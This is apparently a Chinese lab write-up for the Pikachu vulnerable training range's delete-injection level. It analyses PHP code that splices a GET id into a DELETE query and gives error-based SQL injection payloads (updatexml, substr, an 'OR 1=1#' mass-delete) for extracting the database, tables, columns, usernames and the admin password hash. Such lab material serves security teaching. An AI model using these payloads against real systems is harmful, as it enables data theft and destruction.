当前位置: 首页 > ds >正文

pikachu靶场通关笔记23 SQL注入06-delete注入(报错法)

目录

一、SQL注入

二、delete注入

三、源码分析

1、代码审计

2、渗透思路

 五、渗透实战

1、渗透准备

2、获取数据库名database

3、获取表名table

4、获取列名column

5、获取字段


本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关)渗透集合,通过对delete注入关卡源码的代码审计找到SQL安全风险的真实原因,讲解delete注入的原理并进行渗透实践,本文为SQL注入06之delete注入关卡的渗透部分。

一、SQL注入

SQL注入是一种网络安全攻击手段,攻击者通过在Web应用程序的输入框或其他输入点嵌入恶意的SQL指令,这些代码会被应用程序直接拼接到正常的SQL查询中,导致数据库执行非预期的SQL语句,干扰正常的SQL查询流程。凭借这种方法,攻击者可以未经授权地访问、篡改或清除数据库中的信息,甚至有可能获取数据库的完全控制权,进而危及整个系统的安全性和可靠性。

二、delete注入

Delete 注入是 SQL 注入的一种,攻击者针对 SQL 语句中的DELETE操作,利用应用程序处理用户输入时的安全风险,构造恶意输入插入到DELETE语句中,改变原本的删除逻辑,从而数据库执行非预期的SQL语句,对数据的完整性和可用性造成严重威胁。Delete 注入产生的根本原因是应用程序对用户输入缺乏有效的验证和过滤,直接将用户输入拼接到DELETE语句中。

三、源码分析

1、代码审计

打开pikachu靶场的SQL注入-报错型关卡对应的源码sqli_del.php,具体如下所示。

很明显SQL语句没有对GET方法传入的参数id进行过滤,存在SQL注入风险,详细注释后的代码如下所示。 

<?php
// 调用 connect 函数建立与数据库的连接,并将连接对象赋值给变量 $link
$link = connect();// 初始化用于存储 HTML 内容的变量,用于后续显示提示信息
$html = '';// 检查 POST 请求中是否存在 'message' 键,并且该键对应的值不为空
if (array_key_exists("message", $_POST) && $_POST['message'] != null) {// 调用 escape 函数对用户输入的 'message' 进行转义处理,防止 SQL 注入$message = escape($link, $_POST['message']);// 构造一个 SQL 插入语句,将用户输入的消息内容和当前时间插入到 message 表中$query = "insert into message(content, time) values('$message', now())";// 调用 execute 函数执行构造好的 SQL 插入语句$result = execute($link, $query);// 检查执行插入操作后受影响的行数是否不等于 1// 如果不等于 1,说明插入操作可能出现异常if (mysqli_affected_rows($link) != 1) {// 将提示信息拼接成 HTML 字符串,添加到 $html 中$html .= "<p>出现异常,提交失败!</p>";}
}// 原注释掉的代码是对传入的 'id' 进行了是否为数字的检查
// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){// 未对传入的 'id' 进行任何处理,这可能导致 DELETE 注入安全风险
if (array_key_exists('id', $_GET)) {// 构造一个 SQL 删除语句,根据传入的 'id' 删除 message 表中的对应记录$query = "delete from message where id={$_GET['id']}";// 调用 execute 函数执行构造好的 SQL 删除语句$result = execute($link, $query);// 检查执行删除操作后受影响的行数是否为 1// 如果为 1,说明删除操作成功if (mysqli_affected_rows($link) == 1) {// 将用户重定向到 sqli_del.php 页面header("location:sqli_del.php");} else {// 如果删除操作失败,将错误提示信息拼接成 HTML 字符串,添加到 $html 中$html .= "<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";}
}
?>

这段 PHP 代码实现了两个主要功能,具体如下所示。

  • 消息提交功能:当用户通过 POST 方法提交包含 message 字段的表单时,代码会对输入的消息内容进行转义处理,然后将消息内容和当前时间插入到 message 表中。如果插入操作出现异常,会显示相应的错误提示信息。
  • 消息删除功能:当用户通过 GET 方法传递 id 参数时,代码会根据该 id 构造一个 SQL 删除语句,从 message 表中删除对应的记录。如果删除操作成功,会将用户重定向到 sqli_del.php 页面;如果删除失败,会显示错误提示信息。

不过代码存在 SQL 删除注入安全风险的主要原因是对通过 GET 方法传递的 id 参数未进行任何处理。代码直接将 $_GET['id'] 拼接到 DELETE 语句中,没有对其进行有效性验证和过滤。攻击者可以利用SQL注入安全风险,构造特殊的输入来改变 SQL 语句的逻辑,从而实现恶意删除操作。

2、渗透思路

源代码的SQL语句如下所示,由于对传入的id并无过滤转义等处理,导致存在注入。

delete from message where id={$_GET['id']}

攻击者可以构造特殊的输入,让 DELETE 语句删除多条记录而非仅指定的单条记录。例如,攻击者在 URL 中输入 ?id=1 OR 1=1#,实际执行的 SQL 语句如下所示。

delete from message where id=1 OR 1=1#;

 五、渗透实战

1、渗透准备

打开靶场SQL注入第六关delete型注入,打开后是登录页面,如下所示。

http://127.0.0.1/pikachu/vul/sqli/sqli_del.php

随手留言并填入“mooyuan”后点击提交,如下所示留言列表出现刚刚留言,如下所示。

burpsuite开启抓包,点击删除,在bp找到这个修改报文,具体信息如下所示,GET方法参数id进行注入点,这与源码分析一致,为方便渗透,我们使用bp进行渗透。

我们将报文发送到repeater模块,具体如下图所示。

2、获取数据库名database

 and updatexml(0,concat(0x7e,database()),1) 

在burpsuite中在id=78后拼接 and updatexml(1,concat(0x7e,database()),1))后点击提交,如下所示。

此时页面提示报错信息http 400 badrequest,这是因为本次注入为GET型注入,信息出现在url中需要对其进行编码,当不包含#号时选择仅特殊符号编码,否则要选择全部编码。以编码前为 and updatexml(0,concat(0x7e,database()),1)为例,这里的特殊字符为空格,编码为加号,注入语句完整编码后内容为+and+updatexml(0,concat(0x7e,database()),1)+。故而完整的GET部分注入语句应该为如下内容,主要区别是空格变为+ 。

GET /pikachu/vul/sqli/sqli_del.php?
id=78+and+updatexml(0,concat(0x7e,database()),1)+ HTTP/1.1

选中注入语句,右键convert selection然后选择URL-URL encode key characters,如下所示。 

修改后再次点击send,注入成功获取到数据库名为pikachu。 

综上,总结获取数据库的注入命令,具体如下所示。

查询pikachu数据库中名:
转换前: and updatexml(0,concat(0x7e,database()),1) 
转换后:+and+updatexml(0,concat(0x7e,database()),1) 

3、获取表名table

对pikchu数据库中表名进行爆破,注入命令如下所示。

查询pikachu数据库中所有表名(被截断):
转换前: or updatexml(1, concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31)),0)
转换后:+or+updatexml(1,+concat(0x7e,substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3d'pikachu'),1,31)),0)

渗透后获取到数据库pikachu表有4个以上的table表,但是第五个没有展示全,只有一个x字符,其他前四个分别为httpinfo, member,message, users,如下所示。

之所以没有展示全是因为update的报错信息最多展示32个字符,出去第一个字符是报错的波浪线以外,也就是说有效的字符只能显示31个。使用substr来查询后续字符,具体注入命令如下所示 。

查询pikachu数据库中所有表名(第32位起,查询31个字符):
转换前: or updatexml(1, concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31)),0)
转换后:+or+updatexml(1,+concat(0x7e,substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3d'pikachu'),32,31)),0)

点击发送后成功查到32位起的31个字符,与上一个图片对比可知最后一个table表为xssblind。

4、获取列名column

对pikchu数据库中users表中的列名进行爆破,注入命令如下所示。

查看users表中的所有字段(未被截断,说明31个字符足够):or updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu')),0) #
转码后:+or+updatexml(1,+concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name%3d'users'+and+table_schema%3d'pikachu')),0)+%23

渗透后获取到数据库users表有4个column列,分别为id,username,password,level,如下所示。 

5、获取字段

对pikachu数据库中users表的username列进行爆破,命令如下所示。

查看username的记录:or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)
转码后:
+or+updatexml(1,concat(0x7e,(select+group_concat(username)+from+users)),1)

渗透后获取到数据库users表的username字段如下所示,渗透成功。  

接下来获取admin账户的密码,注入命令如下所示但是没有显示完全,如下所示。 

查看第一个密码password的记录(被截断):or updatexml(1, concat(0x7e,substr((select password from users limit 0,1),1,31)),0)
编码后:
+or+updatexml(1,+concat(0x7e,substr((select+password+from+users+limit+0,1),1,31)),0) 

我们通过substr函数获取admin账户的密码的第32位开始的31个字符串,注入命令如下所示显示了一个字符e,拼接后即可获取到admin的密码,e10adc3949ba59abbe56e057f20f883e,如下所示。  

查看第一个密码的password的记录(32位起查询31个字符):or updatexml(1, concat(0x7e,substr((select password from users limit 0,1),32,31)),0)
编码后:
+or+updatexml(1,+concat(0x7e,substr((select+password+from+users+limit+0,1),32,31)),0)

http://www.xdnf.cn/news/13416.html

相关文章:

  • RT_Thread——邮箱
  • Monorepo + PNPM 搭建高效多项目管理
  • 基于流形迁移学习的快速动态多目标进化算法(MMTL-MOEA/D)求解FDA1-FDA5和dMOP1-dMOP3,提供完整MATLAB代码
  • ubuntu桌面x11异常修复
  • 《安富莱嵌入式周报》第354期: 开源36通道16bit同步数据采集卡,开源PoE以太网GPIB,分体式键盘DIY,微软WSL开源,USB转车载以太网
  • 第5章 类的基本概念 笔记
  • 50天50个小项目 (Vue3 + Tailwindcss V4) ✨ | EventKey Codes(键盘码)
  • Vim 调用外部命令学习笔记
  • 主键(PRIMARY KEY)与唯一键(UNIQUE KEY)的区别详解
  • 代码随想录算法训练营第60期第六十四天打卡
  • Maven 多仓库配置及缓存清理实战分享
  • 反向工程与模型迁移:打造未来商品详情API的可持续创新体系
  • 工厂方法模式(Factory Method Pattern)
  • 一个完整的日志收集方案:Elasticsearch + Logstash + Kibana+Filebeat (三)
  • 通义灵码 AI IDE 上线!智能体+MCP 从手动调用工具过渡到“AI 主动调度资源”
  • 欧盟手机和平板电脑生态设计和能源标签法案解析
  • 零基础玩转物联网-串口转以太网模块如何快速实现与MQTT服务器通信
  • 【Elasticsearch】Elasticsearch 近实时高速查询原理
  • 0610_特性和反射_加密和解密_单例模式
  • Python爬虫基础之Selenium详解
  • 如何排查 Docker 容器资源占用过高的问题?
  • RabbitMq详解
  • 期权卖方是谁?
  • CVE-2024-23897源码分析与漏洞复现(Jenkins 任意文件读取)
  • Mybatisplus3.5.6,用String处理数据库列为JSONB字段
  • 配置Linux的网络为静态IP地址的一些方法
  • http协议同时传输文本和数据的新理解
  • 可编辑前端列表页面,让你的用户直接粘贴录入数据
  • pdf.js在iOS移动端分页加载优化方案(ios移动端反复刷新加载问题)
  • dedecms 织梦自定义表单留言增加ajax验证码功能